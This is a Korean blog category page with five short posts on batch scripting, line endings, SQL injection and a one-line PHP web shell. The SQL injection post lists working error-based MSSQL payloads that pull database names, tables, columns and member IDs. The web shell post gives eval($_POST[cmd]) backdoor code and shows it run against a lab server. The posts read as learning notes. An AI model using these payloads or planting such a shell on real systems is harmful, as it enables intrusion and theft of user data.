'O.S & Script & Programming'에 해당되는 글 5건

  1. 2012.05.14 배치 파일 가지고 놀기
  2. 2012.05.14 윈도우 부팅 순서
  3. 2011.02.10 리눅스에서 ^m 없애기
  4. 2011.02.10 SQL Injetion을 해보자
  5. 2011.02.10 한 줄짜리 웹쉘의 사용법

배치 파일 가지고 놀기

아래 내역을 복사해서 구동 시켜보고 이해하면 그냥 저냥 배치 파일도 쉬워요~


@echo off

:_main


title A-FIRST Windows Incident Response


if /i "%1" =="/?" goto _HELP

if /i "%1" =="-h" goto _HELP

if /i "%1" =="--h" goto _HELP


echo #######################################################

echo ######### A - FIRST Windows Incident Response #########

echo #######################################################


REM -- 메모리 수집 여부

:_mem

echo -------------------------------------------------------

echo 1. 물리 메모리를 수집하겠습니까? Yes or No or Quit


set /p menu1=: || goto:_mem

if /i "%menu1%"=="yes" goto _1

if /i "%menu1%"=="y" goto _1

if /i "%menu1%"=="no" goto _2

if /i "%menu1%"=="n" goto _2

if /i "%menu1%"=="Quit" goto _out

goto _mem


:_1

set MEM=Yes

goto _volatile

:_2

set MEM=No

goto _volatile



REM -- 비휘발성 데이터 수집 여부

:_volatile

echo -------------------------------------------------------

echo 2. 비휘발성 데이터를 수집하겠습니까? Yes or No or Quit


set /p menu2=: || goto:_volatile

if /i "%menu2%"=="yes" goto _3

if /i "%menu2%"=="y" goto _3

if /i "%menu2%"=="no" goto _4

if /i "%menu2%"=="n" goto _4

if /i "%menu2%"=="Quit" goto _out

goto _volatile


:_3

set volatile=Yes

goto _execute

:_4

set volatile=No

goto _execute



REM -- 침해대응 스크립스 실행

:_execute

echo -------------------------------------------------------

echo %date% / %time%

echo Memory : %MEM%

echo Non Volatile : %volatile%

goto _QUIT



REM -- 도움말

:_HELP

echo -------------------------------------------------------

echo           파라이터에는 저장할 경로를 넣습니다.

echo                EX) AWIR.bat c:\dorumugs  

echo -------------------------------------------------------

goto _QUIT


REM -- 나가기

:_out

echo -------------------------------------------------------

echo ###  질문을 종료할 경우, 수집을 진행하지 않습니다.  ###

echo -------------------------------------------------------


:_QUIT

'O.S & Script & Programming' 카테고리의 다른 글

윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
SQL Injetion을 해보자  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:

윈도우 부팅 순서


'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
SQL Injetion을 해보자  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:
가끔 사용자들은 윈도우에서 스크립트 파일을 만든 후 리눅스에 가져가서

아....  실행이 안되....  라고 말씀하시는 분들 꽤 있다.

그 이유 중 하나는 ^M 때문!!!!!

없애 보자 ^^

1. perl을 사용

# perl -i -pe 's/\015//g' *.sh


2. vim을 사용해
:set fileformat =unix
or
:set ff=unix

fileformat과 ff는 같은 말이다


3. 그 외 툴
dos2unix 문서명

여러 파일을 하고 싶을 때는 문서명에 *.sh라고 하면 된다

반대로

unix2dos를 사용하면 ^m이 생긴다.

'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
SQL Injetion을 해보자  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:

SQL Injection을 파해쳐 보자
일반적으로 bypass를 써서 성공하게 되면, SQL Injection이 가능하다라고 생각 한다.
그 외 '(싱글쿼터)로 데이터 베이스 에러가 발생하면 가능도 하지 않을까 라고 생각 한다.
그렇게 해서 해보면 어느정도는 SQL Injection으로 원하는 결과를 얻기도 한다.

먼저 bypass와 주석에 대해서 알아보자

1. bypass 와 주석
 아래의 bypass를 사용해서 로그인이 되거나 데이터 베이스 에러가 확인 될 경우, 취약하다는 가정을 갖게된다.

사용자 삽입 이미지

MSSQL은 주석을 -- 를 사용하며, MYSQL은 #을 사용한다.

Oracle 확인 방법은
AND 'abcd' = 'ab' + 'cd' 가 참이면 Oracle이 아니고
AND 'abcd' = 'ab' || 'cd'가 참이면  Oracle이 된다.


2. error base SQL Injection
SQL  Injection 종류에서 error base가 가장 대표적이라고 말할 수 있다. 사용자가 사용한 잘못된 SQL 구문으로
 웹페이지에서 에러를 도출 시키는 방법을 error base SQL Injection이라 한다.

일반적으로 브라우져가 보여주는 500 error를 DB error라고 한다.


3. DB 정보 알아내기
'and db_name() < 1 --
 
사용자 삽입 이미지

위와 같이 사용될 경우 db_name()이 정수형이 아닌 관계로 "<" 연산을 받아 들이지 못합니다.
이러한 이유로 인해 아래와 같은 오류 구문을 볼 수 있다.
사용자 삽입 이미지

오류가 발생하여 wizmall이라는 데이터베이스 이름을 알게되었다.


4. 그 외 SQL Injection에서 사용되는 것

1' HAVING 1=1 --
Having 은 첫번째 그룹된 값의 조건을 받아 주는데, 그룹이나 집계된 내역이 존재하지 않아 column 값을 에러로 보여준다.
사용자 삽입 이미지


1' GROUP BY m.mid HAVING 1=1 --
다음 컬럼을 확인하는데 사용됩니다. 위와 다르게 GROUP BY를 사용하여 1번에서 도출된(위의 HAVING) 값을 넣어준다.

사용자 삽입 이미지


1' GROUP BY m.mid m.mpwd HAVING 1=1 --
그 다음 column 값 확인

1' and 1=convert(int,db_name()) --
convert함수를 사용하여 형변환을 일으켜서 DB이름을 알아낸다.

사용자 삽입 이미지


1' and 1=convert(int,user_name())--
사용자 이름 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
테이블 정보 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('wiztable_board_config')))--
다음 테이블 정보 알아내기


1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers')) --
컬럼 값 알아내기

1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers' and column_name not in ('uid'))) --
다음 컬럼 값 알아내기

1' and 1=convert(int,(select top 1 mid from wizmembers)) --
사용자 정보 알아내기

1' and 1=convert(int,@@version) --
버전 알아내기

음...  그외 Union select로 알아보기는 다음에 해야지 잇힝~












'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:
한줄 짜리 웹쉘은 아래처럼 생겼다.

<?php eval($_POST[cmd])?>

참 실행시키고 싶은 욕망이 불러져 온다.

먼저 eval 이라는 녀석은 eval ( string code_str) 이렇게 사용이 되며,

간단하게 string code를 파라미터로 받아서 php 코드에서 명령어를 수행할 수 있는 녀석으로

생각하면 된다.

그리하여 실행해 보았다.

Webserver : 192.168.137.100:80

공격 수행 :
1. telnet 192.168.137.100 80
2. 헤더 + 한줄 + cmd=exec("mkdir MakeDirTest");

헤더 다음에 한줄은 method가 POST이므로 꼭 필요하다.
사용자 삽입 이미지
그럼 200 ok가 떨어진다

공격 수행 후 확인해 보면 정확히 MakeDirTest라는 폴더가 Web_root에 만들어 진것을 확인할 수 있다.

'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
SQL Injetion을 해보자  (0) 2011.02.10
Posted by 도시형닌자
: